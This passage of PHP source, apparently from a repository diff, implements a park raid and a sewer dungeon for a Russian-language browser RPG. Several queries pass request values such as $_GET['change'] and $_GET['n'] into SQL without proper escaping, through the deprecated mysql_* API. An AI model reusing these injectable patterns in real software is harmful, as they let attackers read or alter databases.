mysql_query("INSERT INTO cit_park(id) values('{$user['id']}');");
$in_park=mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;"));
}
include "functions.php";
if ($user['room'] != 602) { header("Location: main.php"); die(); }
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
//комнаты парка
$ch_rooms=array
(
// 0 - empty
"1"=>"Площадь (1)",
"2"=>"Аллея Геры (2)",
"3"=>"Фонтан Снов (3)",
"4"=>"Лабиринт Фавна (4)",
"5"=>"Поляна Сказок (5)",//босс Душа
"6"=>"Переулок Зеленый (6)",
"7"=>"Дубрава (7)",
"8"=>"Старая Роща (8)",
"9"=>"Лукоморье (9)",
"10"=>"Золотая Роща (10)",//босс Зомби
"11"=>"Вечная Осень (11)",
"12"=>"Заливные Луга (12)",
"13"=>"Терра Нова (13)",
"14"=>"Гора Райдинг (14)",
"15"=>"Пасифик-Риф (15)"//босс Повелитель
);
// выдаем ботов
$ch_bots=array();
$bot_low=array
("4150","4152","4153","4154","4155","4156");
$bot_high=array
("4157","4158","4159");
if($in_park['bots']=='')
{
for($i=1;$i<=15;$i++)
{
$rand_num=rand(3,7);
$rand_bot='';
for($j=1;$j<=$rand_num;$j++)
{
$rand_bot.=$bot_low[array_rand($bot_low,1)];
$rand_bot.=';';
}
if($i%5==0)
$rand_bot.=$bot_high[array_rand($bot_high,1)];
$rand_bot.=';';
$ch_bots[$i]=$rand_bot;
}
$dbb=serialize($ch_bots);
mysql_query("UPDATE `cit_park` SET bots='{$dbb}' WHERE `id`='{$user['id']}'; ");
}
else
{
$ch_bots=unserialize($in_park['bots']);
}
// начинаем расчет действий
if($_POST['start_raid'])
{
mysql_query("UPDATE `cit_park` SET `counter`=`counter`+1, `room`=`room`+1 WHERE `id`='{$user['id']}';");
$in_park=mysql_fetch_array(mysql_query("SELECT * FROM `cit_park` WHERE `id` = '{$user['id']}' LIMIT 1;"));
}
//старт боя - началоа
if($_POST['attack'])
{
$bots_raw=explode(";",$ch_bots[$in_park['room']]);
$bots=array();
foreach($bots_raw as $bot_id)
if($bot_id>0)
{
$b_pers=mysql_fetch_array(mysql_query("SELECT `login`,`maxhp` FROM users WHERE id='{$bot_id}' LIMIT 1;"));
$bot_hp=$b_pers['maxhp'];
$bot_name=$b_pers['login'];
$nb = mysql_fetch_array(mysql_query("SELECT count(`id`) FROM `bots` WHERE `name` LIKE '".$bot_name."%';"));
mysql_query("INSERT INTO `bots` (`name`,`prototype`,`battle`,`hp`) values ('".$bot_name." ".($nb[0]+1)."','".$bot_id."','','".$bot_hp."');");
$bots[]=mysql_insert_id();
}
$teams = array();
foreach($bots as $b)
{
$teams[$user['id']][$b] = array(0,0,time());
$teams[$b][$user['id']] = array(0,0,time());
}
mysql_query("INSERT INTO `battle`
(
`id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`
)
VALUES
(
NULL,'','".serialize($teams)."','3','1','0','".$user['id']."','".implode(";", $bots)."','".time()."','".time()."'
)");
$id = mysql_insert_id();
foreach($bots as $b) mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$b} LIMIT 1;");
mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$user['id']};");
addchp ('<font color=red>Внимание!</font> Вы вступили в бой c бандитами!','{[]}'.nick7 ($user['id']).'{[]}');
die("<script>location.href='fbattle.php';</script>");
}
//старт боя - конец
?>
<HTML><HEAD>
<!-- JS -->
<script>
function refreshPeriodic()
{
location.href='c_park.php';//reload()
timerID=setTimeout("refreshPeriodic()",30000);
}
timerID=setTimeout("refreshPeriodic()",30000);
</script>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<TABLE border=0 width=600 cellspacing="0" cellpadding="0" align=left>
<tr><td><h3>Городской Парк</td></tr>
<?php
if($in_park['room']==0 || $in_park['room']>=15)
{
echo('<tr><td>Вы стоите на парковой площади</strong></td></tr>');
echo("<tr><td>За сегодня Вы посетили парк <b>".$in_park['counter']."/3</b> раз.</td></tr>");
if($in_park['room']==15)
{
echo("<tr><td>Вы вышли из парка с чувством глубокого удовлетворения...</td></tr>");
//раздача гаек
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '856' LIMIT 1;"));
$gadget_num=mt_rand(1,8);
for($i=0;$i<$gadget_num;$i++)
{
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`
)
VALUES
('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0'
) ;");
}
//раздача страничек
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '867' LIMIT 1;"));
$gadget_num=mt_rand(1,5);
for($i=0;$i<$gadget_num;$i++)
{
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`
)
VALUES
('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0'
) ;");
}
//раздача ингридиентов
$ing_list=array("859","860","861","862","863","864","865");
$ing_id=$ing_list[array_rand($ing_list)];
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '{$ing_id}' LIMIT 1;"));
$gadget_num=mt_rand(1,3);
for($i=0;$i<$gadget_num;$i++)
{
mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`duration`
)
VALUES
('{$dress['id']}','{$user[id]}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','0'
) ;");
}
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$user['id']}','\"".$user['login']."\" Подобрал в Парке гайки ( \"".$gadget_num."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."]',1,'".time()."');");
addchp ('В Парке Вы подобрали гайки ('.$gadget_num.' шт.)','{[]}'.nick7 ($user['id']).'{[]}');
//денежный приз
$priz=mt_rand(1,10);
mysql_query("UPDATE users set money=money+{$priz} where id='{$user['id']}';");
addchp ('После посещения Парка Вы обогатились на '.$priz.' кр. ','{[]}'.nick7 ($user['id']).'{[]}');
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`)
VALUES ('','0','{$user['id']}','\"".$user['login']."\" нашел в Парке ".$priz." кр. ',1,'".time()."');");
//переход
mysql_query("UPDATE `cit_park` SET `room`=0,`bots`='',`time`='".time()."' WHERE `id` ='{$user['id']}'; ");
}
if($in_park['counter']>=3)
echo('<tr><td>По какому-то странному совпадению Вам не хочется идти в парк. Может, подождать до завтра? </td></tr>');
elseif(($in_park['time']+3600)>time())
{/**/
$tm=time();
$t_wait=round(((3600-$tm+$in_park['time'])/60),1);
echo('<tr><td>Вы совсем недавно вернулись из парка, бесполезно идти туда снова. <br/>(Осталось ждать: <strong>'.$t_wait.'</strong> мин.)</td></tr>');
}
else
echo('<tr><td><FORM action="c_park.php" method=POST><INPUT TYPE="submit" value="Прогуляться" name="start_raid"><br></FORM></td></tr>');
echo '<tr><td><FORM action="city.php" method=GET><INPUT TYPE="submit" value="Вернуться в Город" name="ps"></FORM></td></tr>';
}
else
{
echo('<tr><td>Вы видите табличку с названием улицы: <strong>'.$ch_rooms[$in_park['room']].'</strong></td></tr>');
echo('<tr><td>В парке пустынно и темно, только какие-то подозрительные личности шныряют по своим делам.</td></tr>');
echo('<tr><td>Вы видите несколько бандитов. Они замышляют зловещие преступления в городе!</td></tr>');
echo('<tr><td><FORM action="c_park.php" method=POST><INPUT TYPE="submit" value="Напасть" name="attack"><br></FORM></td></tr>');
}
?>
</table>
<div align=right><img width="260" src="i/park/<?php echo($in_park['room']+1); ?>.jpg" /></div>
<?php
?>
</BODY>
</HTML>

788
canalizaciya.php Normal file
View File

@ -0,0 +1,788 @@
<?php
session_start();
if (!($_SESSION['uid'] > 0)) header("Location: index.php");
include "config.php";
include "functions.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$_SESSION['uid']}' LIMIT 1;"));
if($user['room']==403){
include "startpodzemel.php";
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
if($_GET['act']=="cexit")
{
$das=mysql_query("select glava,glav_id from `labirint` where user_id='".$user['id']."'");
$rf=mysql_fetch_array($das);
$glav_id=$rf["glav_id"];
$glava=$rf["glava"];
if($glava==$user['login']){//1
$des=mysql_query("select login,user_id from `labirint` where `glav_id`='$glav_id' and `login`!='$glava'");
$r=0;
while($raf=mysql_fetch_array($des)){//2
$r++;
$log = $raf["login"];
$id_us = $raf["user_id"];
}//2
if($r>=1){
mysql_query("UPDATE labirint SET glav_id='$id_us',glava='$log' WHERE glav_id='".$user['id']."'");
mysql_query("UPDATE podzem3 SET glava='$log' WHERE glava='".$user['login']."'");
}else{
mysql_query("DELETE FROM labirint WHERE glav_id='".$user['id']."'");
mysql_query("DELETE FROM podzem3 WHERE glava='".$user['login']."'");
mysql_query("DELETE FROM podzem4 WHERE glava='".$user['login']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Подземное зелье жизни' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №1' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №2' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №3' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №4' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №5' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №6' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №7' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №8' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №9' and owner='".$user['id']."'");
mysql_query("DELETE FROM `inventory` WHERE name='Ключик №10' and owner='".$user['id']."'");
}
}//1
$e = mysql_query("DELETE FROM labirint WHERE user_id='".$user['id']."'");
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '402',`online`.`room` = '402' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '".$user['id']."' ;");
print "<script>location.href='vxod.php'</script>"; exit();
}
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Language" content="ru">
<link rel=stylesheet type="text/css" href="css/main.css">
<SCRIPT LANGUAGE="JavaScript" >
var Hint3Name = '';
// Заголовок, название скрипта, имя поля с логином
function findlogin(title, script, name){
document.all("hint3").innerHTML = '<form action="'+script+'" method=GET style="margin:0;"><table width=100% cellspacing=1 cellpadding=0 bgcolor=CCC3AA><tr><td align=center><B style="font-size:11px">'+title+'</td><td width=20 align=right valign=top style="cursor: pointer" onclick="closehint3();"><BIG><B>x</td></tr><tr><td colspan=2>'+
'<table width=100% cellspacing=0 cellpadding=2 bgcolor=FFF6DD><tr><INPUT TYPE=hidden name=sd4 value="<? echo @$user['id']; ?>"><td colspan=2>'+
'Укажите логин персонажа:<small><BR>(можно щелкнуть по логину в чате)</TD></TR><TR><TD width=50% align=right><INPUT TYPE=text NAME="'+name+'"></TD><TD width=50%><INPUT TYPE="submit" value=" »» "></TD></TR></FORM></TABLE></td></tr></table>';
document.all("hint3").style.visibility = "visible";
document.all("hint3").style.left = '100px';
document.all("hint3").style.top = '100px';
document.all(name).focus();
Hint3Name = name;
}
function returned2(s){
if (top.oldlocation != '') { top.frames['main'].navigate(top.oldlocation+'?'+s+'tmp='+Math.random()); top.oldlocation=''; }
else { top.frames['main'].navigate('main.php?'+s+'tmp='+Math.random()) }
}
function closehint3(){
document.all("hint3").style.visibility="hidden";
Hint3Name='';
}
</script>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor="#d7d7d7" onLoad="top.setHP(<?=$user['hp']?>,<?=$user['maxhp']?>,<?if(!$user['battle']){echo"10";}else{echo"0";}?>);">
<script LANGUAGE='JavaScript'>
<!--document.ondragstart = test;-->
//запрет на перетаскивание
<!--document.onselectstart = test;-->
//запрет на выделение элементов страницы
<!--document.oncontextmenu = test;-->
//запрет на выведение контекстного меню
function test() {
return false
}
</SCRIPT>
<?
$ros=mysql_query("SELECT * FROM `labirint` WHERE `user_id`='{$_SESSION['uid']}'");
$mir=mysql_fetch_array($ros);
$mesto = $mir['location'];
$vektor = $mir['vector'];
$glava = $mir['glava'];
if($_GET['act'] == "luka" and $mesto == '28'){print "<script>location.href='podzem_dialog.php'</script>"; exit();}
// 3 smerti == vqlet
if($mir['dead']>=3){print "<script>location.href='?act=cexit'</script>"; exit();}
//vignat
if($_GET['kill']){
if($user['login']==$glava){
$rost=mysql_fetch_array(mysql_query("SELECT `user_id` FROM `labirint` WHERE `glava`='{$glava}' and `login`='".mysql_escape_string($_GET['kill'])."'"));
$varsa = mysql_fetch_array(mysql_query("SELECT id FROM `users` WHERE `login` = '".mysql_escape_string($_GET['kill'])."' LIMIT 1;"));
if($varsa and $rost){
if($_GET['kill']!=$glava){
mysql_query("DELETE FROM labirint WHERE login='".mysql_escape_string($_GET['kill'])."'");
//mysql_query("DELETE FROM `inventory` WHERE name='Бутерброд' and owner='".$varsa['id']."' and podzem='1'");
print "<script>location.href='canalizaciya.php'</script>"; exit();
}else{print"<font style='font-size:12px; color:#cc0000'>Себя нельзя выгнать.</font>";}
}else{print"<font style='font-size:12px; color:#cc0000'>Такого логина не существует или он не в вашей группе.</font>";}
}}
//smena lider
if($_GET['change']){
if($user['login']==$glava){
$rost=mysql_fetch_array(mysql_query("SELECT `user_id` FROM `labirint` WHERE `glava`='$glava' and `login`='".mysql_escape_string($_GET['change'])."'"));
$varsa = mysql_fetch_array(mysql_query("SELECT id FROM `users` WHERE `login` = '".mysql_escape_string($_GET['change'])."' LIMIT 1;"));
if($varsa and $rost){
if($_GET['change']!=$glava){
mysql_query("UPDATE labirint SET glav_id='".$varsa['id']."',glava='".$_GET['change']."' WHERE glava='".$user['login']."'");
mysql_query("UPDATE podzem3 SET glava='".$_GET['change']."' WHERE glava='".$user['login']."'");
print "<script>location.href='canalizaciya.php'</script>"; exit();
}else{print"<font style='font-size:12px; color:#cc0000'>Вы и так Лидер.</font>";}
}else{print"<font style='font-size:12px; color:#cc0000'>Персонаж не существует или он не в вашей группе.</font>";}
}}
$wait_sec=$mir["visit_time"];
$new_t=time();
if($wait_sec<$new_t)
{
print "<script>location.href='?act=cexit'</script>"; exit();
}
if($mir['dead']>=3){print "<script>location.href='?act=cexit'</script>"; exit();}
//2ой Ярус
if($_GET['act'] == "et2" and $mesto == '47' and $mir['name'] == "Канализация 1 этаж"){
mysql_query("UPDATE labirint SET location='16', vector='180', name='Канализация 2 этаж', l='453', t='226' WHERE glava='".$user['login']."'");
print "Спускаемся на 2ой ярус...";
$ros=mysql_query("SELECT * FROM `labirint` WHERE `user_id`='{$_SESSION['uid']}'");
$mir=mysql_fetch_array($ros);
$mesto = $mir['location'];
$vektor = $mir['vector'];
$glava = $mir['glava'];
}
//1ый Ярус
if($_GET['act'] == "et1" and $mesto == '6' and $mir['name'] == "Канализация 2 этаж"){
mysql_query("UPDATE labirint SET location='48', vector='270', name='Канализация 1 этаж', l='477', t='190' WHERE glava='".$user['login']."'");
print "Поднимаемся на верхний ярус...";
$ros=mysql_query("SELECT * FROM `labirint` WHERE `user_id`='{$_SESSION['uid']}'");
$mir=mysql_fetch_array($ros);
$mesto = $mir['location'];
$vektor = $mir['vector'];
$glava = $mir['glava'];
}
include "canalization_mod.php";
////////////нападение////////////////
if($_GET['act'] == "atk"){
$d = $_GET['n']+10;
$d2 = $_GET['n']-10;
$d3 = $_GET['n']+1;
$d4 = $_GET['n']-1;
$red = mysql_query("SELECT n".mysql_escape_string($_GET['n'])." FROM podzem3 WHERE glava='".$mir['glava']."' and name='".$mir['name']."'");
if($gef = mysql_fetch_array($red)){
$dop = $gef["n".$_GET['n'].""];
}
if($mesto == $d or $mesto == $d1 or $mesto == $d2 or $mesto == $d3 or $mesto == $d4){
if($dop!=''){
include"podzem/atk.php";
}
}
}
if($_GET['act']=='el') {
if($mir['el']!='1' and $mesto==$mir['el']){
mysql_query("INSERT INTO `inventory` (`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`present`,`magic`,`otdel`,`isrep`)
VALUES('".$user['id']."','Подземное зелье жизни','50','1','0','food_l9.gif','5','Подземка','8','6','0') ;");
mysql_query("UPDATE `labirint` SET el='1' WHERE `glava`='".$glava."' and `login`='".$user['login']."'");
print"&nbsp;<font style='font-size:12px; color:red;'>Вы получили 'Подземное зелье жизни'</font><br>";
}else{
if($mir['el']=='1'){print"&nbsp;<font style='font-size:12px; color:red;'>Вы уже брали зелье!</font><br>";}
else{print"&nbsp;<font style='font-size:12px; color:red;'>Невозможно! Вы далеко!</font><br>";}}
}
///////////////Сбор чистых гаек/////////////
if($_GET['sun']=='se_gaika_c'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='508' or $stloc=='507' or $stloc=='506'){
if($stloc=='508'){mysql_query("UPDATE `podzem3` SET n$mesto='507' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='507'){mysql_query("UPDATE `podzem3` SET n$mesto='506' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='506'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Чистая гайка'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Чистая гайка'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Чистая гайка','1','g_c.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Чистая гайка";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Чистая гайка'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
///////////////Сбор гаек/////////////
if($_GET['sun']=='gaika'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='503' or $stloc=='502' or $stloc=='501'){
if($stloc=='503'){mysql_query("UPDATE `podzem3` SET n$mesto='502' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='502'){mysql_query("UPDATE `podzem3` SET n$mesto='501' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='501'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Гайка'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1, massa=massa+0.1 WHERE owner='".$user['id']."' and `type`='200' and `name`='Гайка'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Гайка','1','g.gif','".$user['id']."','200','0.1','0','Лука')");
}
$mis = "Гайка";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Гайка'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор вентилей/////////////
if($_GET['sun']=='ventil'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='504' or $stloc=='505' or $stloc=='506'){
if($stloc=='506'){mysql_query("UPDATE `podzem3` SET n$mesto='505' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='505'){mysql_query("UPDATE `podzem3` SET n$mesto='504' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='504'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Вентиль'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.2 WHERE owner='".$user['id']."' and `type`='200' and `name`='Вентиль'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Вентиль','1','v.gif','".$user['id']."','200','0.2','0','Лука')");
}
$mis = "Вентиль";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Вентиль'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
///////////////Сбор Чистых вентилей/////////////
if($_GET['sun']=='se_ventil'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='512' or $stloc=='513' or $stloc=='514'){
if($stloc=='514'){mysql_query("UPDATE `podzem3` SET n$mesto='513' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='513'){mysql_query("UPDATE `podzem3` SET n$mesto='512' WHERE glava='$glava' and name='".$mir['name']."'");}
if($stloc=='512'){mysql_query("UPDATE `podzem3` SET n$mesto='' WHERE glava='$glava' and name='".$mir['name']."'");}
$f = mysql_query("SELECT `maxdur` FROM `inventory` WHERE `owner`='".$user['id']."' and `type`='200' and `name`='Чистый вентиль'");
if($g = mysql_fetch_array($f)){
$koll = $g["maxdur"];
mysql_query("UPDATE `inventory` SET maxdur=maxdur+1,massa=massa+0.4 WHERE owner='".$user['id']."' and `type`='200' and `name`='Чистый вентиль'");
}else{
$fo = mysql_query("INSERT INTO `inventory`(name,maxdur,img,owner,type,massa,isrep,present) VALUES('Чистый вентиль','1','v2.gif','".$user['id']."','200','0.4','0','Лука')");
}
$mis = "Чистый вентиль";
include "podzem_brat.php";
print"&nbsp;<font style='font-size:12px; color:cc0000;'>Вы получили 'Чистый вентиль'</font>";
}else{if($stloc==''){print"&nbsp;<font style='font-size:12px; color:cc0000;'>Кто-то оказался быстрее!</font>";}}
}
/////////////////////////////////////
///////////////Сбор Болтов/////////////
if($_GET['sun']=='bolt'){
$ferrr = mysql_query("SELECT n$mesto FROM `podzem3` WHERE glava='$glava' and name='".$mir['name']."'");
$retr = mysql_fetch_array($ferrr);
$stloc = $retr["n$mesto"];
if($stloc=='507' or $stloc=='508' or $stloc=='509'){
